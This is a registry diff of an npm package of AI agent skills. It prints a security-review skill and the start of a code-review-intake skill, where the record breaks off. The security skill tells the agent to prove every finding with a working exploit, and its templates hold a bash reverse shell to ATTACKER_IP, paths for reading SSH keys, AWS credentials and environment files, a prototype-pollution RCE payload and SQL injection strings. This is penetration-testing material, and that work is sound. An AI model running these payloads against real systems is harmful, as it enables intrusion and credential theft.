agemon 0.1.0 → 6.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +732 -28
- package/assets/skills/architecture/agemon-architecture/LICENSE +21 -0
- package/assets/skills/architecture/agemon-architecture/NOTICE.md +9 -0
- package/assets/skills/architecture/agemon-architecture/SKILL.md +275 -0
- package/assets/skills/code-quality/agemon-clean-code/LICENSE +21 -0
- package/assets/skills/code-quality/agemon-clean-code/NOTICE.md +9 -0
- package/assets/skills/code-quality/agemon-clean-code/SKILL.md +78 -0
- package/assets/skills/code-quality/agemon-house-rules/SKILL.md +103 -0
- package/assets/skills/commit/agemon-commit/SKILL.md +87 -0
- package/assets/skills/design/agemon-design/LICENSE +21 -0
- package/assets/skills/design/agemon-design/NOTICE.md +9 -0
- package/assets/skills/design/agemon-design/SKILL.md +391 -0
- package/assets/skills/design/agemon-design/references/accessibility.md +182 -0
- package/assets/skills/design/agemon-design/references/agents.md +63 -0
- package/assets/skills/design/agemon-design/references/ai-chat.md +158 -0
- package/assets/skills/design/agemon-design/references/brief.md +186 -0
- package/assets/skills/design/agemon-design/references/color.md +216 -0
- package/assets/skills/design/agemon-design/references/components.md +91 -0
- package/assets/skills/design/agemon-design/references/copy.md +300 -0
- package/assets/skills/design/agemon-design/references/craft-intent.md +160 -0
- package/assets/skills/design/agemon-design/references/dashboard.md +131 -0
- package/assets/skills/design/agemon-design/references/dataviz.md +197 -0
- package/assets/skills/design/agemon-design/references/finish-bar.md +243 -0
- package/assets/skills/design/agemon-design/references/forms.md +192 -0
- package/assets/skills/design/agemon-design/references/heuristics.md +403 -0
- package/assets/skills/design/agemon-design/references/inspiration.md +287 -0
- package/assets/skills/design/agemon-design/references/layout.md +236 -0
- package/assets/skills/design/agemon-design/references/loops.md +155 -0
- package/assets/skills/design/agemon-design/references/metadata.md +98 -0
- package/assets/skills/design/agemon-design/references/modern-css.md +448 -0
- package/assets/skills/design/agemon-design/references/motion.md +434 -0
- package/assets/skills/design/agemon-design/references/personas.md +206 -0
- package/assets/skills/design/agemon-design/references/principles-catalog.md +299 -0
- package/assets/skills/design/agemon-design/references/recipe-auth.md +88 -0
- package/assets/skills/design/agemon-design/references/recipe-dashboard.md +130 -0
- package/assets/skills/design/agemon-design/references/recipe-landing.md +122 -0
- package/assets/skills/design/agemon-design/references/responsive.md +168 -0
- package/assets/skills/design/agemon-design/references/review.md +340 -0
- package/assets/skills/design/agemon-design/references/sound.md +150 -0
- package/assets/skills/design/agemon-design/references/spec.md +123 -0
- package/assets/skills/design/agemon-design/references/stack.md +522 -0
- package/assets/skills/design/agemon-design/references/state-design.md +188 -0
- package/assets/skills/design/agemon-design/references/themes.md +229 -0
- package/assets/skills/design/agemon-design/references/tokens.md +350 -0
- package/assets/skills/design/agemon-design/references/typography.md +246 -0
- package/assets/skills/design/agemon-design-dashboard/LICENSE +21 -0
- package/assets/skills/design/agemon-design-dashboard/NOTICE.md +9 -0
- package/assets/skills/design/agemon-design-dashboard/SKILL.md +113 -0
- package/assets/skills/design/agemon-design-editorial/LICENSE +21 -0
- package/assets/skills/design/agemon-design-editorial/NOTICE.md +9 -0
- package/assets/skills/design/agemon-design-editorial/SKILL.md +98 -0
- package/assets/skills/design/agemon-design-minimal/LICENSE +21 -0
- package/assets/skills/design/agemon-design-minimal/NOTICE.md +9 -0
- package/assets/skills/design/agemon-design-minimal/SKILL.md +97 -0
- package/assets/skills/geo-seo/geo/LICENSE +21 -0
- package/assets/skills/geo-seo/geo/NOTICE.md +18 -0
- package/assets/skills/geo-seo/geo/SKILL.md +145 -0
- package/assets/skills/geo-seo/geo-audit/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-audit/NOTICE.md +17 -0
- package/assets/skills/geo-seo/geo-audit/SKILL.md +371 -0
- package/assets/skills/geo-seo/geo-audit/references/ai-visibility.md +233 -0
- package/assets/skills/geo-seo/geo-audit/references/content.md +329 -0
- package/assets/skills/geo-seo/geo-audit/references/platform-analysis.md +294 -0
- package/assets/skills/geo-seo/geo-audit/references/schema.md +383 -0
- package/assets/skills/geo-seo/geo-audit/references/technical.md +368 -0
- package/assets/skills/geo-seo/geo-brand-mentions/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-brand-mentions/NOTICE.md +15 -0
- package/assets/skills/geo-seo/geo-brand-mentions/SKILL.md +459 -0
- package/assets/skills/geo-seo/geo-citability/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-citability/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-citability/SKILL.md +320 -0
- package/assets/skills/geo-seo/geo-content/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-content/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-content/SKILL.md +352 -0
- package/assets/skills/geo-seo/geo-crawlers/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-crawlers/NOTICE.md +15 -0
- package/assets/skills/geo-seo/geo-crawlers/SKILL.md +388 -0
- package/assets/skills/geo-seo/geo-llmstxt/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-llmstxt/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-llmstxt/SKILL.md +433 -0
- package/assets/skills/geo-seo/geo-platform-optimizer/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-platform-optimizer/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-platform-optimizer/SKILL.md +282 -0
- package/assets/skills/geo-seo/geo-report/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-report/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-report/SKILL.md +406 -0
- package/assets/skills/geo-seo/geo-report-pdf/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-report-pdf/NOTICE.md +20 -0
- package/assets/skills/geo-seo/geo-report-pdf/SKILL.md +153 -0
- package/assets/skills/geo-seo/geo-report-pdf/templates/geo-report-template.html +548 -0
- package/assets/skills/geo-seo/geo-schema/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-schema/NOTICE.md +16 -0
- package/assets/skills/geo-seo/geo-schema/SKILL.md +396 -0
- package/assets/skills/geo-seo/geo-technical/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-technical/NOTICE.md +15 -0
- package/assets/skills/geo-seo/geo-technical/SKILL.md +566 -0
- package/assets/skills/performance/agemon-performance/NOTICE.md +1 -0
- package/assets/skills/performance/agemon-performance/SKILL.md +76 -0
- package/assets/skills/security/agemon-security/LICENSE +21 -0
- package/assets/skills/security/agemon-security/NOTICE.md +8 -0
- package/assets/skills/security/agemon-security/SKILL.md +356 -0
- package/assets/skills/self-review/agemon-review-intake/LICENSE +21 -0
- package/assets/skills/self-review/agemon-review-intake/NOTICE.md +9 -0
- package/assets/skills/self-review/agemon-review-intake/SKILL.md +205 -0
- package/assets/skills/self-review/agemon-review-request/LICENSE +21 -0
- package/assets/skills/self-review/agemon-review-request/NOTICE.md +9 -0
- package/assets/skills/self-review/agemon-review-request/SKILL.md +104 -0
- package/assets/skills/self-review/agemon-review-request/code-reviewer.md +188 -0
- package/assets/skills/self-review/agemon-root-cause/LICENSE +21 -0
- package/assets/skills/self-review/agemon-root-cause/NOTICE.md +10 -0
- package/assets/skills/self-review/agemon-root-cause/SKILL.md +283 -0
- package/assets/skills/self-review/agemon-root-cause/condition-based-waiting-example.ts +158 -0
- package/assets/skills/self-review/agemon-root-cause/condition-based-waiting.md +115 -0
- package/assets/skills/self-review/agemon-root-cause/defense-in-depth.md +122 -0
- package/assets/skills/self-review/agemon-root-cause/find-polluter.sh +72 -0
- package/assets/skills/self-review/agemon-root-cause/root-cause-tracing.md +169 -0
- package/assets/skills/self-review/agemon-root-cause/test-academic.md +14 -0
- package/assets/skills/self-review/agemon-root-cause/test-pressure-1.md +58 -0
- package/assets/skills/self-review/agemon-root-cause/test-pressure-2.md +68 -0
- package/assets/skills/self-review/agemon-root-cause/test-pressure-3.md +69 -0
- package/assets/skills/self-review/agemon-verify-before-done/LICENSE +21 -0
- package/assets/skills/self-review/agemon-verify-before-done/NOTICE.md +9 -0
- package/assets/skills/self-review/agemon-verify-before-done/SKILL.md +120 -0
- package/assets/skills/team-lead/agemon-plan-rfc/SKILL.md +317 -0
- package/assets/skills/team-lead/prd-generator/SKILL.md +437 -0
- package/assets/skills/team-lead/skill-headofit-audit/SKILL.md +72 -0
- package/assets/skills/team-lead/skill-incident-rca/SKILL.md +66 -0
- package/assets/skills/team-lead/skill-meeting-lifecycle/SKILL.md +63 -0
- package/assets/skills/team-lead/skill-obsidian-vault-sync/SKILL.md +69 -0
- package/assets/skills/team-lead/skill-prd-decomposer/SKILL.md +71 -0
- package/assets/skills/team-lead/skill-sec-check/SKILL.md +70 -0
- package/assets/skills/team-lead/skill-task-extractor/SKILL.md +79 -0
- package/assets/skills/team-lead/skill-tech-spike/SKILL.md +57 -0
- package/assets/skills/team-lead/skill-techlead-reviewer/SKILL.md +81 -0
- package/assets/tools/code-review-graph-constraints.txt +1418 -0
- package/assets/tools/package-lock.json +111 -0
- package/assets/tools/package.json +6 -0
- package/dist/chunk-5LATHJYU.js +4026 -0
- package/dist/chunk-5LATHJYU.js.map +1 -0
- package/dist/fake-subprocess-2BETWZVZ.js +666 -0
- package/dist/fake-subprocess-2BETWZVZ.js.map +1 -0
- package/dist/index.js +21101 -1956
- package/dist/index.js.map +1 -1
- package/package.json +30 -17
|
@@ -0,0 +1,356 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agemon-security
|
|
3
|
+
description: Use when performing security audits, vulnerability assessments, penetration testing, or when asked to find security issues. Use when encountering code that handles user input, executes commands, reads files, or makes network requests.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Security Review & Exploit Development
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. **No vulnerability is confirmed until exploited.**
|
|
11
|
+
|
|
12
|
+
## The Iron Law
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
NO FINDING WITHOUT A WORKING EXPLOIT
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
Suspecting a vulnerability is worthless. You must prove exploitation.
|
|
19
|
+
|
|
20
|
+
## Workflow
|
|
21
|
+
|
|
22
|
+
```dot
|
|
23
|
+
digraph security_review {
|
|
24
|
+
"Start review" [shape=doublecircle];
|
|
25
|
+
"Run automated scanners" [shape=box];
|
|
26
|
+
"Manual code review" [shape=box];
|
|
27
|
+
"Vulnerability found?" [shape=diamond];
|
|
28
|
+
"Write exploit PoC" [shape=box];
|
|
29
|
+
"Exploit works?" [shape=diamond];
|
|
30
|
+
"Document with severity" [shape=box];
|
|
31
|
+
"Mark as false positive" [shape=box];
|
|
32
|
+
"More to review?" [shape=diamond];
|
|
33
|
+
"Generate report" [shape=doublecircle];
|
|
34
|
+
|
|
35
|
+
"Start review" -> "Run automated scanners";
|
|
36
|
+
"Run automated scanners" -> "Manual code review";
|
|
37
|
+
"Manual code review" -> "Vulnerability found?";
|
|
38
|
+
"Vulnerability found?" -> "Write exploit PoC" [label="yes"];
|
|
39
|
+
"Vulnerability found?" -> "More to review?" [label="no"];
|
|
40
|
+
"Write exploit PoC" -> "Exploit works?";
|
|
41
|
+
"Exploit works?" -> "Document with severity" [label="yes"];
|
|
42
|
+
"Exploit works?" -> "Mark as false positive" [label="no"];
|
|
43
|
+
"Document with severity" -> "More to review?";
|
|
44
|
+
"Mark as false positive" -> "More to review?";
|
|
45
|
+
"More to review?" -> "Vulnerability found?" [label="yes"];
|
|
46
|
+
"More to review?" -> "Generate report" [label="no"];
|
|
47
|
+
}
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
## Phase 1: Automated Scanning
|
|
51
|
+
|
|
52
|
+
**Run ALL applicable tools.** Don't skip tools because "manual review is enough."
|
|
53
|
+
|
|
54
|
+
### Static Analysis (SAST)
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Opengrep - Multi-language SAST (preferred over semgrep)
|
|
58
|
+
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .
|
|
59
|
+
|
|
60
|
+
# Bandit - Python security linter
|
|
61
|
+
bandit -r . -f json -o bandit-report.json
|
|
62
|
+
|
|
63
|
+
# ast-grep - Custom pattern matching (write rules for project-specific issues)
|
|
64
|
+
ast-grep scan --rule security-rules/
|
|
65
|
+
|
|
66
|
+
# ESLint security plugin (JS/TS)
|
|
67
|
+
npx eslint --plugin security --rule 'security/detect-child-process: error' .
|
|
68
|
+
|
|
69
|
+
# Gosec - Go security checker
|
|
70
|
+
gosec -fmt=json -out=gosec-report.json ./...
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### Dependency Scanning (SCA)
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Trivy - Comprehensive vulnerability scanner
|
|
77
|
+
trivy fs --scanners vuln,secret,misconfig .
|
|
78
|
+
|
|
79
|
+
# Grype - Fast vulnerability scanner
|
|
80
|
+
grype dir:. -o json > grype-report.json
|
|
81
|
+
|
|
82
|
+
# pip-audit - Python dependencies
|
|
83
|
+
pip-audit --format=json -o pip-audit.json
|
|
84
|
+
|
|
85
|
+
# npm audit - Node.js dependencies
|
|
86
|
+
npm audit --json > npm-audit.json
|
|
87
|
+
|
|
88
|
+
# govulncheck - Go dependencies
|
|
89
|
+
govulncheck ./...
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### Secret Detection
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# Gitleaks - Find secrets in git history
|
|
96
|
+
gitleaks detect --source . --report-path gitleaks-report.json
|
|
97
|
+
|
|
98
|
+
# Trufflehog - Deep secret scanning
|
|
99
|
+
trufflehog filesystem . --json > trufflehog-report.json
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Container/Infrastructure
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# Trivy for containers
|
|
106
|
+
trivy image --severity HIGH,CRITICAL <image-name>
|
|
107
|
+
|
|
108
|
+
# Checkov for IaC
|
|
109
|
+
checkov -d . --framework terraform,kubernetes,dockerfile
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
## Phase 2: Manual Code Review
|
|
113
|
+
|
|
114
|
+
Focus on these vulnerability categories in order of severity:
|
|
115
|
+
|
|
116
|
+
### Critical: Injection Vulnerabilities
|
|
117
|
+
|
|
118
|
+
| Type | Pattern to Find | Grep Command |
|
|
119
|
+
|------|-----------------|--------------|
|
|
120
|
+
| Command Injection | `exec`, `spawn`, `system`, `eval` | `grep -rn "exec\|spawn\|system\|eval\|Function(" --include="*.ts" --include="*.js"` |
|
|
121
|
+
| SQL Injection | String concatenation in queries | `grep -rn "query.*\+" --include="*.ts"` |
|
|
122
|
+
| Path Traversal | `readFile`, `resolve` without validation | `grep -rn "readFileSync\|readFile\|resolve" --include="*.ts"` |
|
|
123
|
+
| Template Injection | User input in templates | `grep -rn "render\|template" --include="*.ts"` |
|
|
124
|
+
|
|
125
|
+
### High: Authentication/Authorization
|
|
126
|
+
|
|
127
|
+
| Type | Pattern to Find |
|
|
128
|
+
|------|-----------------|
|
|
129
|
+
| Missing auth checks | Routes without middleware |
|
|
130
|
+
| Hardcoded credentials | `password`, `secret`, `key` in code |
|
|
131
|
+
| Weak crypto | `md5`, `sha1`, `Math.random` |
|
|
132
|
+
|
|
133
|
+
### Medium: Data Exposure
|
|
134
|
+
|
|
135
|
+
| Type | Pattern to Find |
|
|
136
|
+
|------|-----------------|
|
|
137
|
+
| Sensitive data in logs | `console.log`, `logger` with user data |
|
|
138
|
+
| Error message leakage | Full stack traces returned to client |
|
|
139
|
+
| Insecure storage | Credentials in config files |
|
|
140
|
+
|
|
141
|
+
## Phase 3: Exploit Development
|
|
142
|
+
|
|
143
|
+
**Every vulnerability MUST have a working exploit.**
|
|
144
|
+
|
|
145
|
+
### Command Injection Exploit Template
|
|
146
|
+
|
|
147
|
+
```typescript
|
|
148
|
+
// exploit-cmd-injection.ts
|
|
149
|
+
import { execSync } from 'child_process'
|
|
150
|
+
|
|
151
|
+
const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'
|
|
152
|
+
|
|
153
|
+
// Test payloads - escalate from detection to impact
|
|
154
|
+
const payloads = [
|
|
155
|
+
// Detection: Does injection work?
|
|
156
|
+
{ input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },
|
|
157
|
+
|
|
158
|
+
// Information gathering
|
|
159
|
+
{ input: '$(whoami)', detect: /\w+/ },
|
|
160
|
+
{ input: '$(id)', detect: /uid=/ },
|
|
161
|
+
|
|
162
|
+
// File read
|
|
163
|
+
{ input: '$(cat /etc/passwd)', detect: 'root:' },
|
|
164
|
+
|
|
165
|
+
// Reverse shell (for authorized pentests only)
|
|
166
|
+
{ input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
|
|
167
|
+
]
|
|
168
|
+
|
|
169
|
+
async function exploit() {
|
|
170
|
+
for (const { input, detect } of payloads) {
|
|
171
|
+
const response = await fetch(VULNERABLE_ENDPOINT, {
|
|
172
|
+
method: 'POST',
|
|
173
|
+
body: JSON.stringify({ files: [input] }),
|
|
174
|
+
})
|
|
175
|
+
const result = await response.text()
|
|
176
|
+
|
|
177
|
+
if (detect && result.match(detect)) {
|
|
178
|
+
console.log(`[+] Payload worked: ${input}`)
|
|
179
|
+
console.log(`[+] Output: ${result}`)
|
|
180
|
+
}
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### Path Traversal Exploit Template
|
|
186
|
+
|
|
187
|
+
```typescript
|
|
188
|
+
// exploit-path-traversal.ts
|
|
189
|
+
const traversalPayloads = [
|
|
190
|
+
'../../../etc/passwd',
|
|
191
|
+
'....//....//....//etc/passwd',
|
|
192
|
+
'/etc/passwd',
|
|
193
|
+
'/proc/self/environ', // Leaks environment variables
|
|
194
|
+
'/home/user/.ssh/id_rsa',
|
|
195
|
+
'/home/user/.aws/credentials',
|
|
196
|
+
]
|
|
197
|
+
|
|
198
|
+
async function exploitPathTraversal(endpoint: string) {
|
|
199
|
+
for (const payload of traversalPayloads) {
|
|
200
|
+
const response = await fetch(endpoint, {
|
|
201
|
+
method: 'POST',
|
|
202
|
+
body: JSON.stringify({ files: [payload] }),
|
|
203
|
+
})
|
|
204
|
+
const result = await response.text()
|
|
205
|
+
|
|
206
|
+
if (result.includes('root:') || result.includes('AWS_')) {
|
|
207
|
+
console.log(`[+] Path traversal successful: ${payload}`)
|
|
208
|
+
return result
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Dependency Exploit Template
|
|
215
|
+
|
|
216
|
+
```typescript
|
|
217
|
+
// exploit-dependency.ts
|
|
218
|
+
// When a vulnerable dependency is found, search for:
|
|
219
|
+
// 1. Public exploits: searchsploit, exploit-db, GitHub
|
|
220
|
+
// 2. CVE details for exploitation steps
|
|
221
|
+
|
|
222
|
+
// Example: Exploiting known prototype pollution
|
|
223
|
+
const payload = {
|
|
224
|
+
"__proto__": { "admin": true }
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
// Example: Exploiting known RCE in library
|
|
228
|
+
const rcePayload = {
|
|
229
|
+
"constructor": {
|
|
230
|
+
"prototype": {
|
|
231
|
+
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
### SQL Injection Exploit Template
|
|
238
|
+
|
|
239
|
+
```typescript
|
|
240
|
+
// exploit-sqli.ts
|
|
241
|
+
const sqlPayloads = [
|
|
242
|
+
// Detection
|
|
243
|
+
"' OR '1'='1",
|
|
244
|
+
"1; SELECT 1--",
|
|
245
|
+
|
|
246
|
+
// Union-based extraction
|
|
247
|
+
"' UNION SELECT username,password FROM users--",
|
|
248
|
+
|
|
249
|
+
// Time-based blind
|
|
250
|
+
"'; WAITFOR DELAY '0:0:5'--",
|
|
251
|
+
"' AND SLEEP(5)--",
|
|
252
|
+
|
|
253
|
+
// Error-based extraction
|
|
254
|
+
"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
|
|
255
|
+
]
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
## Phase 4: Severity Classification
|
|
259
|
+
|
|
260
|
+
| Severity | Criteria | Examples |
|
|
261
|
+
|----------|----------|----------|
|
|
262
|
+
| **Critical** | RCE, full system compromise, auth bypass | Command injection, SQL injection with admin access |
|
|
263
|
+
| **High** | Significant data breach, privilege escalation | Path traversal to sensitive files, IDOR |
|
|
264
|
+
| **Medium** | Limited data exposure, DoS | Error message leakage, resource exhaustion |
|
|
265
|
+
| **Low** | Minor information disclosure | Version disclosure, missing headers |
|
|
266
|
+
|
|
267
|
+
## Report Template
|
|
268
|
+
|
|
269
|
+
```markdown
|
|
270
|
+
## Finding: [Vulnerability Name]
|
|
271
|
+
|
|
272
|
+
**Severity:** Critical/High/Medium/Low
|
|
273
|
+
**Location:** `file.ts:42`
|
|
274
|
+
**CWE:** CWE-XXX
|
|
275
|
+
|
|
276
|
+
### Description
|
|
277
|
+
[What is the vulnerability and why it's dangerous]
|
|
278
|
+
|
|
279
|
+
### Vulnerable Code
|
|
280
|
+
```typescript
|
|
281
|
+
// The vulnerable code snippet
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
### Proof of Concept
|
|
285
|
+
|
|
286
|
+
```bash
|
|
287
|
+
# Command to exploit
|
|
288
|
+
curl -X POST http://target/api -d '{"payload": "$(id)"}'
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
**Result:**
|
|
292
|
+
```
|
|
293
|
+
uid=1000(user) gid=1000(user) groups=1000(user)
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
### Impact
|
|
297
|
+
- What an attacker can achieve
|
|
298
|
+
- Data at risk
|
|
299
|
+
- Business impact
|
|
300
|
+
|
|
301
|
+
### Remediation
|
|
302
|
+
```typescript
|
|
303
|
+
// Fixed code
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
### References
|
|
307
|
+
- CVE-XXXX-XXXXX
|
|
308
|
+
- OWASP reference
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
## Tool Installation
|
|
312
|
+
|
|
313
|
+
```bash
|
|
314
|
+
# Install all security tools
|
|
315
|
+
pip install opengrep bandit pip-audit
|
|
316
|
+
npm install -g eslint eslint-plugin-security
|
|
317
|
+
go install github.com/securego/gosec/v2/cmd/gosec@latest
|
|
318
|
+
go install golang.org/x/vuln/cmd/govulncheck@latest
|
|
319
|
+
|
|
320
|
+
# Trivy
|
|
321
|
+
brew install trivy # macOS
|
|
322
|
+
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
|
|
323
|
+
|
|
324
|
+
# Grype
|
|
325
|
+
brew install grype # macOS
|
|
326
|
+
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh
|
|
327
|
+
|
|
328
|
+
# Gitleaks
|
|
329
|
+
brew install gitleaks # macOS
|
|
330
|
+
# or: go install github.com/gitleaks/gitleaks/v8@latest
|
|
331
|
+
|
|
332
|
+
# ast-grep
|
|
333
|
+
npm install -g @ast-grep/cli
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
## Red Flags - STOP
|
|
337
|
+
|
|
338
|
+
If you find yourself thinking:
|
|
339
|
+
- "This looks suspicious but I'll note it without testing" - **STOP. Write exploit first.**
|
|
340
|
+
- "Manual review is enough, tools are overkill" - **STOP. Run the tools.**
|
|
341
|
+
- "The exploit is obvious, I don't need to verify" - **STOP. Execute and prove it.**
|
|
342
|
+
- "I'll skip dependency scanning, code review covers it" - **STOP. Run SCA tools.**
|
|
343
|
+
|
|
344
|
+
## Quick Reference
|
|
345
|
+
|
|
346
|
+
| Tool | Purpose | Command |
|
|
347
|
+
|------|---------|---------|
|
|
348
|
+
| opengrep | SAST multi-language | `opengrep scan --config=auto .` |
|
|
349
|
+
| bandit | Python SAST | `bandit -r .` |
|
|
350
|
+
| trivy | Vuln + secrets | `trivy fs .` |
|
|
351
|
+
| grype | Dependency vulns | `grype dir:.` |
|
|
352
|
+
| gitleaks | Secret detection | `gitleaks detect --source .` |
|
|
353
|
+
| govulncheck | Go dependencies | `govulncheck ./...` |
|
|
354
|
+
| pip-audit | Python deps | `pip-audit` |
|
|
355
|
+
| npm audit | Node deps | `npm audit` |
|
|
356
|
+
| ast-grep | Custom patterns | `ast-grep scan` |
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 Jesse Vincent
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
# Vendored skill
|
|
2
|
+
|
|
3
|
+
- Source: https://github.com/obra/superpowers
|
|
4
|
+
- Path in source: skills/receiving-code-review
|
|
5
|
+
- Commit: b36e0829c6d0140e93cfef2ca599b1b07d4a7797
|
|
6
|
+
- Retrieved: 2026-08-17
|
|
7
|
+
- License: MIT — see `LICENSE` in this directory.
|
|
8
|
+
- One of several skills cherry-picked from the much larger superpowers framework; not a full vendor of that repo.
|
|
9
|
+
- Renamed from `receiving-code-review` to `agemon-review-intake` for agemon branding — installed skills should read as agemon's own, not a third-party project name.
|
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agemon-review-intake
|
|
3
|
+
description: Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Code Review Reception
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Code review requires technical evaluation, not emotional performance.
|
|
11
|
+
|
|
12
|
+
**Core principle:** Verify before implementing. Ask before assuming. Technical correctness over social comfort.
|
|
13
|
+
|
|
14
|
+
## The Response Pattern
|
|
15
|
+
|
|
16
|
+
```
|
|
17
|
+
WHEN receiving code review feedback:
|
|
18
|
+
|
|
19
|
+
1. READ: Complete feedback without reacting
|
|
20
|
+
2. UNDERSTAND: Restate requirement in own words (or ask)
|
|
21
|
+
3. VERIFY: Check against codebase reality
|
|
22
|
+
4. EVALUATE: Technically sound for THIS codebase?
|
|
23
|
+
5. RESPOND: Technical acknowledgment or reasoned pushback
|
|
24
|
+
6. IMPLEMENT: One item at a time, test each
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
## Forbidden Responses
|
|
28
|
+
|
|
29
|
+
**NEVER:**
|
|
30
|
+
- "You're absolutely right!" (explicit instruction-file violation)
|
|
31
|
+
- "Great point!" / "Excellent feedback!" (performative)
|
|
32
|
+
- "Let me implement that now" (before verification)
|
|
33
|
+
|
|
34
|
+
**INSTEAD:**
|
|
35
|
+
- Restate the technical requirement
|
|
36
|
+
- Ask clarifying questions
|
|
37
|
+
- Push back with technical reasoning if wrong
|
|
38
|
+
- Just start working (actions > words)
|
|
39
|
+
|
|
40
|
+
## Handling Unclear Feedback
|
|
41
|
+
|
|
42
|
+
```
|
|
43
|
+
IF any item is unclear:
|
|
44
|
+
STOP - do not implement anything yet
|
|
45
|
+
ASK for clarification on unclear items
|
|
46
|
+
|
|
47
|
+
WHY: Items may be related. Partial understanding = wrong implementation.
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Example:**
|
|
51
|
+
```
|
|
52
|
+
your human partner: "Fix 1-6"
|
|
53
|
+
You understand 1,2,3,6. Unclear on 4,5.
|
|
54
|
+
|
|
55
|
+
❌ WRONG: Implement 1,2,3,6 now, ask about 4,5 later
|
|
56
|
+
✅ RIGHT: "I understand items 1,2,3,6. Need clarification on 4 and 5 before proceeding."
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
## Source-Specific Handling
|
|
60
|
+
|
|
61
|
+
### From your human partner
|
|
62
|
+
- **Trusted** - implement after understanding
|
|
63
|
+
- **Still ask** if scope unclear
|
|
64
|
+
- **No performative agreement**
|
|
65
|
+
- **Skip to action** or technical acknowledgment
|
|
66
|
+
|
|
67
|
+
### From External Reviewers
|
|
68
|
+
```
|
|
69
|
+
BEFORE implementing:
|
|
70
|
